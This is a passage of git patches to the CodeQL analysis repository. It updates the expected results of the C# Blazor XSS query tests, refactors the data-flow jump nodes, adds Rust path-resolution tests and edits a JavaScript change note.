TypeCheck : String | semmle.label | call to method TypeCheck : String | subpaths -#select -| BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | User-provided value | -| BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | User-provided value | -| BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | User-provided value | diff --git a/csharp/ql/integration-tests/all-platforms/blazor/XSS.qlref b/csharp/ql/integration-tests/all-platforms/blazor/XSS.qlref index faad1d6403c..89b5b951bdb 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor/XSS.qlref +++ b/csharp/ql/integration-tests/all-platforms/blazor/XSS.qlref @@ -1 +1,2 @@ -Security Features/CWE-079/XSS.ql \ No newline at end of file +query: Security Features/CWE-079/XSS.ql +postprocess: utils/test/PrettyPrintModels.ql diff --git a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.expected b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.expected index dad526f6d9c..64ab3e186a1 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.expected +++ b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.expected @@ -1,6 +1,14 @@ +#select +| BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | User-provided value | +| BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | User-provided value | +| BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | User-provided value | edges -| BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck : String | provenance | Src:MaD:146 MaD:142 | -| test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck : String | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | provenance | Sink:MaD:148 | +| BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck : String | provenance | Src:MaD:2 MaD:3 | +| test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck : String | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | provenance | Sink:MaD:1 | +models +| 1 | Sink: Microsoft.AspNetCore.Components; MarkupString; false; MarkupString; (System.String); ; Argument[0]; html-injection; manual | +| 2 | Source: Microsoft.AspNetCore.Components; SupplyParameterFromQueryAttribute; false; ; ; Attribute.Getter; ReturnValue; remote; manual | +| 3 | Summary: Microsoft.AspNetCore.Components.CompilerServices; RuntimeHelpers; false; TypeCheck; (T); ; Argument[0]; ReturnValue; value; manual | nodes | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | semmle.label | access to property Value | | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | semmle.label | access to property UrlParam | @@ -8,7 +16,3 @@ nodes | BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | semmle.label | access to property QueryParam : String | | test-db/working/razor/AC613014E59A413B9538FF8068364499/Microsoft.CodeAnalysis.Razor.Compiler/Microsoft.NET.Sdk.Razor.SourceGenerators.RazorSourceGenerator/Components_Pages_TestPage_razor.g.cs:569:16:577:13 | call to method TypeCheck : String | semmle.label | call to method TypeCheck : String | subpaths -#select -| BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | BlazorTest/Components/MyOutput.razor:5:53:5:57 | access to property Value | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:85:23:85:32 | access to property QueryParam : String | User-provided value | -| BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | User-provided value | -| BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | User-provided value | diff --git a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.qlref b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.qlref index faad1d6403c..89b5b951bdb 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.qlref +++ b/csharp/ql/integration-tests/all-platforms/blazor_build_mode_none/XSS.qlref @@ -1 +1,2 @@ -Security Features/CWE-079/XSS.ql \ No newline at end of file +query: Security Features/CWE-079/XSS.ql +postprocess: utils/test/PrettyPrintModels.ql diff --git a/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.expected b/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.expected index 931cebe93ba..204c3194595 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.expected +++ b/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.expected @@ -1,8 +1,8 @@ +#select +| BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | User-provided value | +| BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | User-provided value | edges nodes | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | semmle.label | access to property UrlParam | | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | semmle.label | access to property QueryParam | subpaths -#select -| BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:11:48:11:55 | access to property UrlParam | User-provided value | -| BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | $@ flows to here and is written to HTML or JavaScript. | BlazorTest/Components/Pages/TestPage.razor:20:60:20:69 | access to property QueryParam | User-provided value | diff --git a/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.qlref b/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.qlref index faad1d6403c..89b5b951bdb 100644 --- a/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.qlref +++ b/csharp/ql/integration-tests/all-platforms/blazor_net_8/XSS.qlref @@ -1 +1,2 @@ -Security Features/CWE-079/XSS.ql \ No newline at end of file +query: Security Features/CWE-079/XSS.ql +postprocess: utils/test/PrettyPrintModels.ql diff --git a/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll b/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll index d5782b26851..be937661b47 100644 --- a/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll +++ b/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll @@ -159,9 +159,7 @@ private module JumpNodes { */ Property getParameterProperty() { result.getAnAttribute() instanceof MicrosoftAspNetCoreComponentsParameterAttribute and - exists(NameOfExpr ne | ne = this.getArgument(1) | - result.getAnAccess() = ne.getAccess().(MemberAccess) - ) + exists(NameOfExpr ne | ne = this.getArgument(1) | result.getAnAccess() = ne.getAccess()) } /** @@ -171,12 +169,13 @@ private module JumpNodes { } private class ComponentParameterJump extends DataFlow::NonLocalJumpNode { - ParameterPassingCall call; Property prop; ComponentParameterJump() { - prop = call.getParameterProperty() and - this.asExpr() = call.getParameterValue() + exists(ParameterPassingCall call | + prop = call.getParameterProperty() and + this.asExpr() = call.getParameterValue() + ) } override DataFlow::Node getAJumpSuccessor(boolean preservesValue) { From e69929ebc6b3e66b180349271744f9652671e62e Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Thu, 27 Mar 2025 13:01:09 +0100 Subject: [PATCH 086/282] Update javascript/ql/lib/change-notes/2025-03-26-hana-db-client.md Co-authored-by: Erik Krogh Kristensen --- javascript/ql/lib/change-notes/2025-03-26-hana-db-client.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/ql/lib/change-notes/2025-03-26-hana-db-client.md b/javascript/ql/lib/change-notes/2025-03-26-hana-db-client.md index d7b0d09d712..170707e0e78 100644 --- a/javascript/ql/lib/change-notes/2025-03-26-hana-db-client.md +++ b/javascript/ql/lib/change-notes/2025-03-26-hana-db-client.md @@ -1,4 +1,4 @@ --- category: minorAnalysis --- -* Added support for `@sap/hana-client`, `@sap/hdbext` and `hdb` packages. +* Added support for the `@sap/hana-client`, `@sap/hdbext` and `hdb` packages. From f6ac82aff04c09471f36281abe46225c121ab156 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Thu, 27 Mar 2025 15:10:14 +0100 Subject: [PATCH 087/282] Rust: Add more path resolution tests --- .../library-tests/path-resolution/main.rs | 22 ++++ .../test/library-tests/path-resolution/my.rs | 6 + .../path-resolution/my/my4/my5/mod.rs | 3 + .../path-resolution/path-resolution.expected | 124 ++++++++++-------- 4 files changed, 101 insertions(+), 54 deletions(-) create mode 100644 rust/ql/test/library-tests/path-resolution/my/my4/my5/mod.rs diff --git a/rust/ql/test/library-tests/path-resolution/main.rs b/rust/ql/test/library-tests/path-resolution/main.rs index 7857ddc6cf5..6b2052a1b3c 100644 --- a/rust/ql/test/library-tests/path-resolution/main.rs +++ b/rust/ql/test/library-tests/path-resolution/main.rs @@ -473,6 +473,26 @@ mod m17 { } // I99 } +mod m18 { + fn f() { + println!("m18::f"); + } // I101 + + pub mod m19 { + fn f() { + println!("m18::m19::f"); + } // I102 + + pub mod m20 { + pub fn g() { + println!("m18::m19::m20::g"); + super::f(); // $ item=I102 + super::super::f(); // $ item=I101 + } // I103 + } + } +} + fn main() { my::nested::nested1::nested2::f(); // $ item=I4 my::f(); // $ item=I38 @@ -498,4 +518,6 @@ fn main() { nested6::f(); // $ item=I116 nested8::f(); // $ item=I119 my3::f(); // $ item=I200 + nested_f(); // $ MISSING: item=I201 + m18::m19::m20::g(); // $ item=I103 } diff --git a/rust/ql/test/library-tests/path-resolution/my.rs b/rust/ql/test/library-tests/path-resolution/my.rs index fd9511a2118..487b0e78769 100644 --- a/rust/ql/test/library-tests/path-resolution/my.rs +++ b/rust/ql/test/library-tests/path-resolution/my.rs @@ -10,3 +10,9 @@ pub fn h() { println!("my.rs::h"); g(); // $ item=I7 } // I39 + +mod my4 { + pub mod my5; +} + +pub use my4::my5::f as nested_f; // $ MISSING: item=I201 diff --git a/rust/ql/test/library-tests/path-resolution/my/my4/my5/mod.rs b/rust/ql/test/library-tests/path-resolution/my/my4/my5/mod.rs new file mode 100644 index 00000000000..25a94fee7c1 --- /dev/null +++ b/rust/ql/test/library-tests/path-resolution/my/my4/my5/mod.rs @@ -0,0 +1,3 @@ +pub fn f() { + println!("my/my4/my5/mod.rs::f"); +} // I201 diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.expected b/rust/ql/test/library-tests/path-resolution/path-resolution.expected index 51dcc55b9e2..6bf3f656734 100644 --- a/rust/ql/test/library-tests/path-resolution/path-resolution.expected +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.expected @@ -21,6 +21,9 @@ mod | main.rs:294:1:348:1 | mod m15 | | main.rs:350:1:442:1 | mod m16 | | main.rs:444:1:474:1 | mod m17 | +| main.rs:476:1:494:1 | mod m18 | +| main.rs:481:5:493:5 | mod m19 | +| main.rs:486:9:492:9 | mod m20 | | my2/mod.rs:1:1:1:16 | mod nested2 | | my2/mod.rs:12:1:12:12 | mod my3 | | my2/nested2.rs:1:1:11:1 | mod nested3 | @@ -30,6 +33,8 @@ mod | my2/nested2.rs:21:1:27:1 | mod nested7 | | my2/nested2.rs:22:5:26:5 | mod nested8 | | my.rs:1:1:1:15 | mod nested | +| my.rs:14:1:16:1 | mod my4 | +| my.rs:15:5:15:16 | mod my5 | | my/nested.rs:1:1:17:1 | mod nested1 | | my/nested.rs:2:5:11:5 | mod nested2 | resolvePath @@ -51,7 +56,7 @@ resolvePath | main.rs:30:17:30:21 | super | main.rs:18:5:36:5 | mod m2 | | main.rs:30:17:30:24 | ...::f | main.rs:19:9:21:9 | fn f | | main.rs:33:17:33:17 | f | main.rs:19:9:21:9 | fn f | -| main.rs:40:9:40:13 | super | main.rs:1:1:501:2 | SourceFile | +| main.rs:40:9:40:13 | super | main.rs:1:1:523:2 | SourceFile | | main.rs:40:9:40:17 | ...::m1 | main.rs:13:1:37:1 | mod m1 | | main.rs:40:9:40:21 | ...::m2 | main.rs:18:5:36:5 | mod m2 | | main.rs:40:9:40:24 | ...::g | main.rs:23:9:27:9 | fn g | @@ -63,7 +68,7 @@ resolvePath | main.rs:61:17:61:19 | Foo | main.rs:59:9:59:21 | struct Foo | | main.rs:64:13:64:15 | Foo | main.rs:53:5:53:17 | struct Foo | | main.rs:66:5:66:5 | f | main.rs:55:5:62:5 | fn f | -| main.rs:68:5:68:8 | self | main.rs:1:1:501:2 | SourceFile | +| main.rs:68:5:68:8 | self | main.rs:1:1:523:2 | SourceFile | | main.rs:68:5:68:11 | ...::i | main.rs:71:1:83:1 | fn i | | main.rs:74:13:74:15 | Foo | main.rs:48:1:48:13 | struct Foo | | main.rs:81:17:81:19 | Foo | main.rs:77:9:79:9 | struct Foo | @@ -77,7 +82,7 @@ resolvePath | main.rs:87:57:87:66 | ...::g | my2/nested2.rs:7:9:9:9 | fn g | | main.rs:87:80:87:86 | nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | | main.rs:100:5:100:22 | f_defined_in_macro | main.rs:99:18:99:42 | fn f_defined_in_macro | -| main.rs:117:13:117:17 | super | main.rs:1:1:501:2 | SourceFile | +| main.rs:117:13:117:17 | super | main.rs:1:1:523:2 | SourceFile | | main.rs:117:13:117:21 | ...::m5 | main.rs:103:1:107:1 | mod m5 | | main.rs:118:9:118:9 | f | main.rs:104:5:106:5 | fn f | | main.rs:118:9:118:9 | f | main.rs:110:5:112:5 | fn f | @@ -210,56 +215,65 @@ resolvePath | main.rs:465:9:465:18 | ...::f | main.rs:446:9:446:20 | fn f | | main.rs:470:9:470:9 | g | main.rs:459:5:466:5 | fn g | | main.rs:471:11:471:11 | S | main.rs:449:5:449:13 | struct S | -| main.rs:477:5:477:6 | my | main.rs:1:1:1:7 | mod my | -| main.rs:477:5:477:14 | ...::nested | my.rs:1:1:1:15 | mod nested | -| main.rs:477:5:477:23 | ...::nested1 | my/nested.rs:1:1:17:1 | mod nested1 | -| main.rs:477:5:477:32 | ...::nested2 | my/nested.rs:2:5:11:5 | mod nested2 | -| main.rs:477:5:477:35 | ...::f | my/nested.rs:3:9:5:9 | fn f | -| main.rs:478:5:478:6 | my | main.rs:1:1:1:7 | mod my | -| main.rs:478:5:478:9 | ...::f | my.rs:5:1:7:1 | fn f | -| main.rs:479:5:479:11 | nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | -| main.rs:479:5:479:20 | ...::nested3 | my2/nested2.rs:1:1:11:1 | mod nested3 | -| main.rs:479:5:479:29 | ...::nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | -| main.rs:479:5:479:32 | ...::f | my2/nested2.rs:3:9:5:9 | fn f | -| main.rs:480:5:480:5 | f | my2/nested2.rs:3:9:5:9 | fn f | -| main.rs:481:5:481:5 | g | my2/nested2.rs:7:9:9:9 | fn g | -| main.rs:482:5:482:9 | crate | main.rs:0:0:0:0 | Crate(main@0.0.1) | -| main.rs:482:5:482:12 | ...::h | main.rs:50:1:69:1 | fn h | -| main.rs:483:5:483:6 | m1 | main.rs:13:1:37:1 | mod m1 | -| main.rs:483:5:483:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | -| main.rs:483:5:483:13 | ...::g | main.rs:23:9:27:9 | fn g | -| main.rs:484:5:484:6 | m1 | main.rs:13:1:37:1 | mod m1 | -| main.rs:484:5:484:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | -| main.rs:484:5:484:14 | ...::m3 | main.rs:29:9:35:9 | mod m3 | -| main.rs:484:5:484:17 | ...::h | main.rs:30:27:34:13 | fn h | -| main.rs:485:5:485:6 | m4 | main.rs:39:1:46:1 | mod m4 | -| main.rs:485:5:485:9 | ...::i | main.rs:42:5:45:5 | fn i | -| main.rs:486:5:486:5 | h | main.rs:50:1:69:1 | fn h | -| main.rs:487:5:487:11 | f_alias | my2/nested2.rs:3:9:5:9 | fn f | -| main.rs:488:5:488:11 | g_alias | my2/nested2.rs:7:9:9:9 | fn g | -| main.rs:489:5:489:5 | j | main.rs:97:1:101:1 | fn j | -| main.rs:490:5:490:6 | m6 | main.rs:109:1:120:1 | mod m6 | -| main.rs:490:5:490:9 | ...::g | main.rs:114:5:119:5 | fn g | -| main.rs:491:5:491:6 | m7 | main.rs:122:1:137:1 | mod m7 | -| main.rs:491:5:491:9 | ...::f | main.rs:129:5:136:5 | fn f | -| main.rs:492:5:492:6 | m8 | main.rs:139:1:193:1 | mod m8 | -| main.rs:492:5:492:9 | ...::g | main.rs:177:5:192:5 | fn g | -| main.rs:493:5:493:6 | m9 | main.rs:195:1:203:1 | mod m9 | -| main.rs:493:5:493:9 | ...::f | main.rs:198:5:202:5 | fn f | -| main.rs:494:5:494:7 | m11 | main.rs:226:1:263:1 | mod m11 | -| main.rs:494:5:494:10 | ...::f | main.rs:231:5:234:5 | fn f | -| main.rs:495:5:495:7 | m15 | main.rs:294:1:348:1 | mod m15 | -| main.rs:495:5:495:10 | ...::f | main.rs:335:5:347:5 | fn f | -| main.rs:496:5:496:7 | m16 | main.rs:350:1:442:1 | mod m16 | -| main.rs:496:5:496:10 | ...::f | main.rs:417:5:441:5 | fn f | -| main.rs:497:5:497:7 | m17 | main.rs:444:1:474:1 | mod m17 | -| main.rs:497:5:497:10 | ...::f | main.rs:468:5:473:5 | fn f | -| main.rs:498:5:498:11 | nested6 | my2/nested2.rs:14:5:18:5 | mod nested6 | -| main.rs:498:5:498:14 | ...::f | my2/nested2.rs:15:9:17:9 | fn f | -| main.rs:499:5:499:11 | nested8 | my2/nested2.rs:22:5:26:5 | mod nested8 | -| main.rs:499:5:499:14 | ...::f | my2/nested2.rs:23:9:25:9 | fn f | -| main.rs:500:5:500:7 | my3 | my2/mod.rs:12:1:12:12 | mod my3 | -| main.rs:500:5:500:10 | ...::f | my2/my3/mod.rs:1:1:5:1 | fn f | +| main.rs:489:17:489:21 | super | main.rs:481:5:493:5 | mod m19 | +| main.rs:489:17:489:24 | ...::f | main.rs:482:9:484:9 | fn f | +| main.rs:490:17:490:21 | super | main.rs:481:5:493:5 | mod m19 | +| main.rs:490:17:490:28 | ...::super | main.rs:476:1:494:1 | mod m18 | +| main.rs:490:17:490:31 | ...::f | main.rs:477:5:479:5 | fn f | +| main.rs:497:5:497:6 | my | main.rs:1:1:1:7 | mod my | +| main.rs:497:5:497:14 | ...::nested | my.rs:1:1:1:15 | mod nested | +| main.rs:497:5:497:23 | ...::nested1 | my/nested.rs:1:1:17:1 | mod nested1 | +| main.rs:497:5:497:32 | ...::nested2 | my/nested.rs:2:5:11:5 | mod nested2 | +| main.rs:497:5:497:35 | ...::f | my/nested.rs:3:9:5:9 | fn f | +| main.rs:498:5:498:6 | my | main.rs:1:1:1:7 | mod my | +| main.rs:498:5:498:9 | ...::f | my.rs:5:1:7:1 | fn f | +| main.rs:499:5:499:11 | nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | +| main.rs:499:5:499:20 | ...::nested3 | my2/nested2.rs:1:1:11:1 | mod nested3 | +| main.rs:499:5:499:29 | ...::nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | +| main.rs:499:5:499:32 | ...::f | my2/nested2.rs:3:9:5:9 | fn f | +| main.rs:500:5:500:5 | f | my2/nested2.rs:3:9:5:9 | fn f | +| main.rs:501:5:501:5 | g | my2/nested2.rs:7:9:9:9 | fn g | +| main.rs:502:5:502:9 | crate | main.rs:0:0:0:0 | Crate(main@0.0.1) | +| main.rs:502:5:502:12 | ...::h | main.rs:50:1:69:1 | fn h | +| main.rs:503:5:503:6 | m1 | main.rs:13:1:37:1 | mod m1 | +| main.rs:503:5:503:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | +| main.rs:503:5:503:13 | ...::g | main.rs:23:9:27:9 | fn g | +| main.rs:504:5:504:6 | m1 | main.rs:13:1:37:1 | mod m1 | +| main.rs:504:5:504:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | +| main.rs:504:5:504:14 | ...::m3 | main.rs:29:9:35:9 | mod m3 | +| main.rs:504:5:504:17 | ...::h | main.rs:30:27:34:13 | fn h | +| main.rs:505:5:505:6 | m4 | main.rs:39:1:46:1 | mod m4 | +| main.rs:505:5:505:9 | ...::i | main.rs:42:5:45:5 | fn i | +| main.rs:506:5:506:5 | h | main.rs:50:1:69:1 | fn h | +| main.rs:507:5:507:11 | f_alias | my2/nested2.rs:3:9:5:9 | fn f | +| main.rs:508:5:508:11 | g_alias | my2/nested2.rs:7:9:9:9 | fn g | +| main.rs:509:5:509:5 | j | main.rs:97:1:101:1 | fn j | +| main.rs:510:5:510:6 | m6 | main.rs:109:1:120:1 | mod m6 | +| main.rs:510:5:510:9 | ...::g | main.rs:114:5:119:5 | fn g | +| main.rs:511:5:511:6 | m7 | main.rs:122:1:137:1 | mod m7 | +| main.rs:511:5:511:9 | ...::f | main.rs:129:5:136:5 | fn f | +| main.rs:512:5:512:6 | m8 | main.rs:139:1:193:1 | mod m8 | +| main.rs:512:5:512:9 | ...::g | main.rs:177:5:192:5 | fn g | +| main.rs:513:5:513:6 | m9 | main.rs:195:1:203:1 | mod m9 | +| main.rs:513:5:513:9 | ...::f | main.rs:198:5:202:5 | fn f | +| main.rs:514:5:514:7 | m11 | main.rs:226:1:263:1 | mod m11 | +| main.rs:514:5:514:10 | ...::f | main.rs:231:5:234:5 | fn f | +| main.rs:515:5:515:7 | m15 | main.rs:294:1:348:1 | mod m15 | +| main.rs:515:5:515:10 | ...::f | main.rs:335:5:347:5 | fn f | +| main.rs:516:5:516:7 | m16 | main.rs:350:1:442:1 | mod m16 | +| main.rs:516:5:516:10 | ...::f | main.rs:417:5:441:5 | fn f | +| main.rs:517:5:517:7 | m17 | main.rs:444:1:474:1 | mod m17 | +| main.rs:517:5:517:10 | ...::f | main.rs:468:5:473:5 | fn f | +| main.rs:518:5:518:11 | nested6 | my2/nested2.rs:14:5:18:5 | mod nested6 | +| main.rs:518:5:518:14 | ...::f | my2/nested2.rs:15:9:17:9 | fn f | +| main.rs:519:5:519:11 | nested8 | my2/nested2.rs:22:5:26:5 | mod nested8 | +| main.rs:519:5:519:14 | ...::f | my2/nested2.rs:23:9:25:9 | fn f | +| main.rs:520:5:520:7 | my3 | my2/mod.rs:12:1:12:12 | mod my3 | +| main.rs:520:5:520:10 | ...::f | my2/my3/mod.rs:1:1:5:1 | fn f | +| main.rs:522:5:522:7 | m18 | main.rs:476:1:494:1 | mod m18 | +| main.rs:522:5:522:12 | ...::m19 | main.rs:481:5:493:5 | mod m19 | +| main.rs:522:5:522:17 | ...::m20 | main.rs:486:9:492:9 | mod m20 | +| main.rs:522:5:522:20 | ...::g | main.rs:487:13:491:13 | fn g | | my2/mod.rs:5:5:5:11 | nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | | my2/mod.rs:5:5:5:20 | ...::nested3 | my2/nested2.rs:1:1:11:1 | mod nested3 | | my2/mod.rs:5:5:5:29 | ...::nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | @@ -273,13 +287,15 @@ resolvePath | my2/my3/mod.rs:3:5:3:5 | g | my2/mod.rs:3:1:6:1 | fn g | | my2/my3/mod.rs:4:5:4:5 | h | main.rs:50:1:69:1 | fn h | | my2/my3/mod.rs:7:5:7:9 | super | my2/mod.rs:1:1:12:13 | SourceFile | -| my2/my3/mod.rs:7:5:7:16 | ...::super | main.rs:1:1:501:2 | SourceFile | +| my2/my3/mod.rs:7:5:7:16 | ...::super | main.rs:1:1:523:2 | SourceFile | | my2/my3/mod.rs:7:5:7:19 | ...::h | main.rs:50:1:69:1 | fn h | | my2/my3/mod.rs:8:5:8:9 | super | my2/mod.rs:1:1:12:13 | SourceFile | | my2/my3/mod.rs:8:5:8:12 | ...::g | my2/mod.rs:3:1:6:1 | fn g | | my.rs:3:5:3:10 | nested | my.rs:1:1:1:15 | mod nested | | my.rs:3:5:3:13 | ...::g | my/nested.rs:19:1:22:1 | fn g | | my.rs:11:5:11:5 | g | my/nested.rs:19:1:22:1 | fn g | +| my.rs:18:9:18:11 | my4 | my.rs:14:1:16:1 | mod my4 | +| my.rs:18:9:18:16 | ...::my5 | my.rs:15:5:15:16 | mod my5 | | my/nested.rs:9:13:9:13 | f | my/nested.rs:3:9:5:9 | fn f | | my/nested.rs:15:9:15:15 | nested2 | my/nested.rs:2:5:11:5 | mod nested2 | | my/nested.rs:15:9:15:18 | ...::f | my/nested.rs:3:9:5:9 | fn f | From 42278eb6cfe65037ba4e04bba30e083905e66f50 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Thu, 27 Mar 2025 16:07:09 +0100 Subject: [PATCH 088/282] Add imports for specific jump nodes --- .../code/csharp/dataflow/internal/DataFlowPublic.qll | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPublic.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPublic.qll index 877630359fd..b21d5e2c3ef 100644 --- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPublic.qll +++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPublic.qll @@ -147,6 +147,16 @@ predicate localFlow(Node source, Node sink) { localFlowStep*(source, sink) } pragma[inline] predicate localExprFlow(Expr e1, Expr e2) { localFlow(exprNode(e1), exprNode(e2)) } +/** + * A module importing the modules that provide non local jump node declarations, + * ensuring that they are visible to the taint tracking / data flow library. + */ +private module JumpNodes { + private import semmle.code.csharp.frameworks.microsoft.aspnetcore.Components + private import semmle.code.csharp.frameworks.Razor + private import semmle.code.csharp.frameworks.NHibernate +} + /** * A data flow node that jumps between callables. This can be extended in * framework code to add additional data flow steps. From 